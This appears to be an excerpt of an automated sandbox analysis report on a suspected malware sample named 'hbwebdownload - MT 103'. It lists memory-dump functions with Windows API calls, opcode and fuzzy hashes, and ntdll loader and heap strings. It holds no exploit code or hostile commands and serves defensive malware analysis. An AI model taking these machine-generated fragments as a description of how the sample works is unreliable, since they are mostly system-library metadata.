                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: LookupPrivilegeValue
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3899507212-0
                                                                                                                                                                                    • Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                                                                                                                    • Instruction ID: a195d06a74d451d332e2306e76e7c3aa502b90bd3f16d73f11471c4c6d802808
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2FE01AB12102086BDB10DF49CC85EE737ADAF88654F018155BA0857241C934E8118BF5
                                                                                                                                                                                    Function 0041A680 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A6A8
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ExitProcess
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 621844428-0
                                                                                                                                                                                    • Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                                                                                                                    • Instruction ID: 026b6f0270740822b369349059f6971daea101c61a9fac8a7aff4918670f7806
                                                                                                                                                                                    • Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                                                                                                                    • Instruction Fuzzy Hash: C1D017726112187BD620EB99CC85FD777ACDF487A4F0180AABA1C6B242C531BA11CAE1
                                                                                                                                                                                    Function 0040ACE3 Relevance: 1.5, APIs: 1, Instructions: 11libraryloaderCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD62
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Load
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2234796835-0
                                                                                                                                                                                    • Opcode ID: 1ddec9c740a2b2ef97a035f25dfabd68456f20969e05435321587986678711db
                                                                                                                                                                                    • Instruction ID: 05bc5eed07a0c19d6aa88ef3f94ab0c5740ad5768756de9c93d4a761ab8051c3
                                                                                                                                                                                    • Opcode Fuzzy Hash: 1ddec9c740a2b2ef97a035f25dfabd68456f20969e05435321587986678711db
                                                                                                                                                                                    • Instruction Fuzzy Hash: DEB09231A942182AEA74D6D89C06B2AB755DB85712F144296BD2CA67C0E4A22D2041EA
                                                                                                                                                                                    Function 012C2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 8f355093e32fabdb1e964ee6f99810bdfc21c6f7a86862ec1dcc87009afe4943
                                                                                                                                                                                    • Instruction ID: 6ee1ef14557bf4e67634dd946b4d46ce938d63fd33ce80f8743cd70f54a0a073
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8f355093e32fabdb1e964ee6f99810bdfc21c6f7a86862ec1dcc87009afe4943
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0FB09B719115D5C5DA11E7648A08717791077D0701F16C165D3030641F4738C1D1E376

                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                    Function 01302349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                    • API String ID: 0-2160512332
                                                                                                                                                                                    • Opcode ID: e6407f32f1542ebbbece80c98277309c6dbeb7468f58d5f1ea64001beddb2f42
                                                                                                                                                                                    • Instruction ID: 754d23f88fb2605667056872a2d3e0b5d6e40457aaff78624fcab8d79d0a2626
                                                                                                                                                                                    • Opcode Fuzzy Hash: e6407f32f1542ebbbece80c98277309c6dbeb7468f58d5f1ea64001beddb2f42
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0192CF71614742AFE722DF28C894F6BBBE8BB84758F04491DFA94D7290D770E844CB92
                                                                                                                                                                                    Function 012B8620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • Invalid debug info address of this critical section, xrefs: 012F54B6
                                                                                                                                                                                    • undeleted critical section in freed memory, xrefs: 012F542B
                                                                                                                                                                                    • Critical section debug info address, xrefs: 012F541F, 012F552E
                                                                                                                                                                                    • double initialized or corrupted critical section, xrefs: 012F5508
                                                                                                                                                                                    • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 012F54E2
                                                                                                                                                                                    • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 012F540A, 012F5496, 012F5519
                                                                                                                                                                                    • 8, xrefs: 012F52E3
                                                                                                                                                                                    • Thread is in a state in which it cannot own a critical section, xrefs: 012F5543
                                                                                                                                                                                    • corrupted critical section, xrefs: 012F54C2
                                                                                                                                                                                    • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 012F54CE
                                                                                                                                                                                    • Address of the debug info found in the active list., xrefs: 012F54AE, 012F54FA
                                                                                                                                                                                    • Thread identifier, xrefs: 012F553A
                                                                                                                                                                                    • Critical section address, xrefs: 012F5425, 012F54BC, 012F5534
                                                                                                                                                                                    • Critical section address., xrefs: 012F5502
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                                                                                                                                                                    • API String ID: 0-2368682639
                                                                                                                                                                                    • Opcode ID: cff1379b7c668736af161a5aef29177b1410666df1b4fb46bcbee40aa00d30eb
                                                                                                                                                                                    • Instruction ID: c3ad47d097e4ad118bccf96f95adeee294ddd02bd598677aea9ae607e4f6ad07
                                                                                                                                                                                    • Opcode Fuzzy Hash: cff1379b7c668736af161a5aef29177b1410666df1b4fb46bcbee40aa00d30eb
                                                                                                                                                                                    • Instruction Fuzzy Hash: D1817EB1A60359EFDB20CF99C945BAEBBB9FB08714F10412DF604B7680D3B5A981CB50
                                                                                                                                                                                    Function 012B29F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • @, xrefs: 012F259B
                                                                                                                                                                                    • SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 012F2602
                                                                                                                                                                                    • SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 012F2624
                                                                                                                                                                                    • SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 012F22E4
                                                                                                                                                                                    • SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 012F2498
                                                                                                                                                                                    • RtlpResolveAssemblyStorageMapEntry, xrefs: 012F261F
                                                                                                                                                                                    • SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 012F24C0
                                                                                                                                                                                    • SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 012F2506
                                                                                                                                                                                    • SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 012F2412
                                                                                                                                                                                    • SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 012F25EB
                                                                                                                                                                                    • SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 012F2409
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
                                                                                                                                                                                    • API String ID: 0-4009184096
                                                                                                                                                                                    • Opcode ID: c19b77dec9924c90ec8b17d644912e8f5634b2a7775332980d84d6b3f31db1f9
                                                                                                                                                                                    • Instruction ID: 78f6583f6210de5ded6d195763026b0cdcb9a66ba437ab34ec8e0470d90d374c
                                                                                                                                                                                    • Opcode Fuzzy Hash: c19b77dec9924c90ec8b17d644912e8f5634b2a7775332980d84d6b3f31db1f9
                                                                                                                                                                                    • Instruction Fuzzy Hash: 270270F1D20229DBDB31DB54CC81BE9B7B8AB55704F0141EAE709A7241EB70AE84CF59
                                                                                                                                                                                    Function 01328B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
                                                                                                                                                                                    • API String ID: 0-2515994595
                                                                                                                                                                                    • Opcode ID: 8e253c9847e16556f569c42a0778c897c717c8739f80273d3e547af038d1d8e3
                                                                                                                                                                                    • Instruction ID: d51863aaec427397732c7d6a0872261dbe18f327d1bcd53fb98911b8066ccb3a
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8e253c9847e16556f569c42a0778c897c717c8739f80273d3e547af038d1d8e3
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2B51D1711243259BC729EF188884BABBBECEF94758F544A5DEA59C3240E770D608CB92
                                                                                                                                                                                    Function 01330274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                                                                                                                                                    • API String ID: 0-1700792311
                                                                                                                                                                                    • Opcode ID: 946e1fdfce7b964d7d4b4fd47d2cf93419ce0caa137c0f18a523baec156f51f6
                                                                                                                                                                                    • Instruction ID: be72eb443161e99b681669d72a7112975b4a5b870776b8d71fa3ee8e73ce0f30
                                                                                                                                                                                    • Opcode Fuzzy Hash: 946e1fdfce7b964d7d4b4fd47d2cf93419ce0caa137c0f18a523baec156f51f6
                                                                                                                                                                                    • Instruction Fuzzy Hash: EFD1EF31610686DFDB2ADF68C840AAEFBF5FF89718F088059F455AB652C734A941CF18
                                                                                                                                                                                    Function 013089B3 Relevance: 9.0, Strings: 7, Instructions: 259COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • VerifierDebug, xrefs: 01308CA5
                                                                                                                                                                                    • AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 01308A3D
                                                                                                                                                                                    • AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 01308A67
                                                                                                                                                                                    • VerifierFlags, xrefs: 01308C50
                                                                                                                                                                                    • AVRF: -*- final list of providers -*- , xrefs: 01308B8F
                                                                                                                                                                                    • VerifierDlls, xrefs: 01308CBD
                                                                                                                                                                                    • HandleTraces, xrefs: 01308C8F
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
                                                                                                                                                                                    • API String ID: 0-3223716464
                                                                                                                                                                                    • Opcode ID: 2d654bcc77b01673cff1453e77e26f116cd6d4d260e8de4dd7afe891d8f6483b
                                                                                                                                                                                    • Instruction ID: 3c32f54df28101630d1996d480027cb117a81743fa020439d8042c24b6a04f6e
                                                                                                                                                                                    • Opcode Fuzzy Hash: 2d654bcc77b01673cff1453e77e26f116cd6d4d260e8de4dd7afe891d8f6483b
                                                                                                                                                                                    • Instruction Fuzzy Hash: DA912572A51716AFE737EF2C88A0B6A77E8AB5871CF050598FA446B6C1D7309C00CB95
                                                                                                                                                                                    Function 0128EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
                                                                                                                                                                                    • API String ID: 0-1109411897
                                                                                                                                                                                    • Opcode ID: 69ed85f948a041a6c5ab8623eb73c0dd6e48f379b00ae45c32d8b88c12f9494e
                                                                                                                                                                                    • Instruction ID: c07405d50a1f5375c5e291927946bc792ca9e325c0b0e81593816131a3e11169
                                                                                                                                                                                    • Opcode Fuzzy Hash: 69ed85f948a041a6c5ab8623eb73c0dd6e48f379b00ae45c32d8b88c12f9494e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 24A25C70A2666A8FDB64EF18CD887A9BBB5EF45304F5442E9D50DA7290DB709E80CF00
                                                                                                                                                                                    Function 012B63FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                    • API String ID: 0-792281065
                                                                                                                                                                                    • Opcode ID: 8cd59db889765dc1bbe806074238b2004b06c2ed9a0be2cb82e5fed5c389ebd6
                                                                                                                                                                                    • Instruction ID: f24ce548b16c2298d930d5630c308f864a63590ed0f4bb3f97c4a79cf367b514
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8cd59db889765dc1bbe806074238b2004b06c2ed9a0be2cb82e5fed5c389ebd6
                                                                                                                                                                                    • Instruction Fuzzy Hash: A3911770A21756DBEB3AEF18D895BABBBB9EB40B54F04013CD70067281D7B89841CB91
                                                                                                                                                                                    Function 0127645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • apphelp.dll, xrefs: 01276496
                                                                                                                                                                                    • Getting the shim engine exports failed with status 0x%08lx, xrefs: 012D9A01
                                                                                                                                                                                    • LdrpInitShimEngine, xrefs: 012D99F4, 012D9A07, 012D9A30
                                                                                                                                                                                    • Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 012D99ED
                                                                                                                                                                                    • Loading the shim engine DLL failed with status 0x%08lx, xrefs: 012D9A2A
                                                                                                                                                                                    • minkernel\ntdll\ldrinit.c, xrefs: 012D9A11, 012D9A3A
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                    • API String ID: 0-204845295
                                                                                                                                                                                    • Opcode ID: 9f8e2f7975bac3723a2a5f8f878ac28cde5db0d7d4fe3529085ba79b6510e355
                                                                                                                                                                                    • Instruction ID: 6b59276e7651f0ce6eadbb6aa2a4ee0322167d89c22d936fe1faee5ed5a92136
                                                                                                                                                                                    • Opcode Fuzzy Hash: 9f8e2f7975bac3723a2a5f8f878ac28cde5db0d7d4fe3529085ba79b6510e355
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4D51C2712387059FEB21DF24D881BABB7E8FB84748F00091DF685971A0D670E944CB93
                                                                                                                                                                                    Function 012B2674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • SXS: %s() passed the empty activation context, xrefs: 012F2165
                                                                                                                                                                                    • RtlGetAssemblyStorageRoot, xrefs: 012F2160, 012F219A, 012F21BA
                                                                                                                                                                                    • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 012F219F
                                                                                                                                                                                    • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 012F2180
                                                                                                                                                                                    • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 012F21BF
                                                                                                                                                                                    • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 012F2178
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                                                                                                                                                                    • API String ID: 0-861424205
                                                                                                                                                                                    • Opcode ID: deb9c51e94172c464bd7d6e79bc9e38f9a64970a94a5877a25155e301f8697d9
                                                                                                                                                                                    • Instruction ID: 3d25cfbcc99fcfbc10b30861bec25cafbc90985b1e5f1e391f6f29e41f423d3e
                                                                                                                                                                                    • Opcode Fuzzy Hash: deb9c51e94172c464bd7d6e79bc9e38f9a64970a94a5877a25155e301f8697d9
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2831573AB70316F7E7218A998C85F9BBA6CDB62B84F05406CBB0467181D270EE00D7A4
                                                                                                                                                                                    Function 012BC6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • LdrpInitializeProcess, xrefs: 012BC6C4
                                                                                                                                                                                    • Loading import redirection DLL: '%wZ', xrefs: 012F8170
                                                                                                                                                                                    • LdrpInitializeImportRedirection, xrefs: 012F8177, 012F81EB
                                                                                                                                                                                    • Unable to build import redirection Table, Status = 0x%x, xrefs: 012F81E5
                                                                                                                                                                                    • minkernel\ntdll\ldrinit.c, xrefs: 012BC6C3
                                                                                                                                                                                    • minkernel\ntdll\ldrredirect.c, xrefs: 012F8181, 012F81F5
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                                                                                                                                                                    • API String ID: 0-475462383
                                                                                                                                                                                    • Opcode ID: 40dc6e5cb85ad9f00c4efd8551808a907af7e1b978e7df3c7aa7e97caeb5c927
                                                                                                                                                                                    • Instruction ID: 38ce6327c8c9f57f7f308acc9ef1a7fc7eda94e6ada4ce4b98ecc9322e031bf0
                                                                                                                                                                                    • Opcode Fuzzy Hash: 40dc6e5cb85ad9f00c4efd8551808a907af7e1b978e7df3c7aa7e97caeb5c927
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2A3129716643429FD324EF29DC86E2BB7D8EFD4B10F04052CFA446B291E620EC04CBA2
                                                                                                                                                                                    Function 012C096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                      • Part of subcall function 012C2DF0: LdrInitializeThunk.NTDLL ref: 012C2DFA
                                                                                                                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 012C0BA3
                                                                                                                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 012C0BB6
                                                                                                                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 012C0D60
                                                                                                                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 012C0D74
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 1404860816-0
                                                                                                                                                                                    • Opcode ID: e79322ec23beae6440c1ac9ca7a7b916ad62d8788581d8cc73f6e4a93d36bda3
                                                                                                                                                                                    • Instruction ID: 3dc7efee8c9d0e2cb5dc2f1ee366847eb20baf004797ccf21a3bb0f8fe911213
                                                                                                                                                                                    • Opcode Fuzzy Hash: e79322ec23beae6440c1ac9ca7a7b916ad62d8788581d8cc73f6e4a93d36bda3
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8B424B75910716DFDB21CF28C841BAAB7F5FF04714F1446ADEA899B241E770AA84CF60
                                                                                                                                                                                    Function 0128A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
